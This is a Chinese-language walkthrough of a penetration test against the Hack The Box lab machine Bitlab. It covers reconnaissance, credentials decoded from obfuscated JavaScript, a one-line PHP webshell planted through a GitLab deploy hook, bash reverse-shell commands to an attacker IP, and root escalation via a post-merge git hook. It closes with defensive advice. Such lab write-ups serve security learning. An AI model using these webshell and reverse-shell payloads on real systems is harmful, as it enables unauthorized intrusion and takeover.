【HTB系列】靶机Bitlab的渗透测试
字数 1546 2025-08-14 12:04:09
Bitlab靶机渗透测试教学文档
0x00 靶机基本信息
- 靶机IP: 10.10.10.114
- 攻击机IP: 10.10.14.13 (Kali Linux)
- 开放服务:
- 22/tcp - OpenSSH 7.6p1 Ubuntu
- 80/tcp - nginx (GitLab服务)
0x01 初始信息收集
端口扫描
使用Nmap进行扫描:
nmap --sC --sV --oA bitlab 10.10.10.114
扫描结果:
- 22端口: OpenSSH 7.6p1 Ubuntu
- 80端口: nginx运行GitLab服务
- robots.txt显示55个禁止访问的目录
- 网页标题为"Sign in · GitLab"
目录扫描
使用Gobuster进行目录扫描:
gobuster dir --u "http://10.10.10.114/" --w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --t 150 --s 200,204,301,307,401,403 --o bitlab.gobuster
扫描结果中/help/bookmarks.html文件值得关注。
0x02 漏洞发现与利用
1. 获取GitLab凭据
在/help/bookmarks.html中发现JavaScript代码:
javascript:(function(){var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]=_0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]=_0x4b18[5];})()
解码后得到:
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
因此登录凭据为:
- 用户名:
clave - 密码:
11des0081x
2. 登录GitLab并发现Webhook
登录后发现两个仓库:
- Profile
- Deployer
在Deployer仓库中发现index.php文件,这是一个Git钩子文件,当Profile仓库合并新提交时会执行命令:
<?php
// index.php
chdir("/var/www/html/profile/");
shell_exec("sudo git pull");
?>
3. 利用Git Hook上传Webshell
步骤:
- 切换到Profile仓库
- 创建新分支
- 在新分支上创建Webshell文件(如
dfz.php) - 创建合并请求并批准
- 由于Git Hook会自动执行
sudo git pull,Webshell会被拉取到服务器
Webshell示例(dfz.php):
<?php system($_GET['cmd']); ?>
验证Webshell:
curl --G "http://10.10.10.114/profile/dfz.php" --data-urlencode 'cmd=whoami'
4. 获取反弹Shell
在Kali上监听:
nc -lvnp 4444
通过Webshell执行反弹Shell命令:
curl --G "http://10.10.10.114/profile/dfz.php" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.13/4444 0>&1"'
优化反弹Shell环境:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
0x03 权限提升
方法一: 利用Git Hook提权
- 检查sudo权限:
sudo -l
结果显示www-data用户可以无密码以root权限执行git pull命令。
- 利用Git Hook:
- Git在执行
pull时会触发post-merge钩子 - 在本地创建
post-merge文件:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.13/9000 0>&1'
- 赋予执行权限:
chmod +x post-merge
- 触发提权:
- 在仓库中添加新文件并提交
- 执行
sudo git pull - Kali上监听9000端口获取root shell
方法二: 通过数据库凭据获取root
- 在Profile仓库的TODO中发现线索
- 访问
http://10.10.10.114/users/clave/snippets找到PostgreSQL代码片段 - 使用找到的凭据登录PostgreSQL获取敏感信息
- 在clave用户家目录发现
RemoteConnection.exe文件 - 使用逆向工具分析该文件,发现root密码:
Qf7]8YSV.wDNF*[7d?j&eD4^
0x04 关键知识点总结
- JavaScript代码分析: 从十六进制编码的JS中提取凭据
- GitLab权限利用: 通过合法凭据访问GitLab并发现自动化部署机制
- Git Hook利用: 利用自动化部署机制上传Webshell
- Webshell使用: 通过参数化命令执行获取初始立足点
- Shell环境优化: 改善反弹Shell的可用性
- Sudo权限提升: 分析sudo -l结果寻找提权路径
- Git Hook提权: 利用post-merge钩子获取root权限
- 备用提权路径: 通过数据库凭据和逆向工程获取root密码
0x05 防御建议
- 避免在客户端存储敏感凭据
- 限制Git Hook的执行权限
- 谨慎配置sudo权限
- 定期审计自动化脚本和部署流程
- 避免在版本控制系统中存储敏感信息
- 实施最小权限原则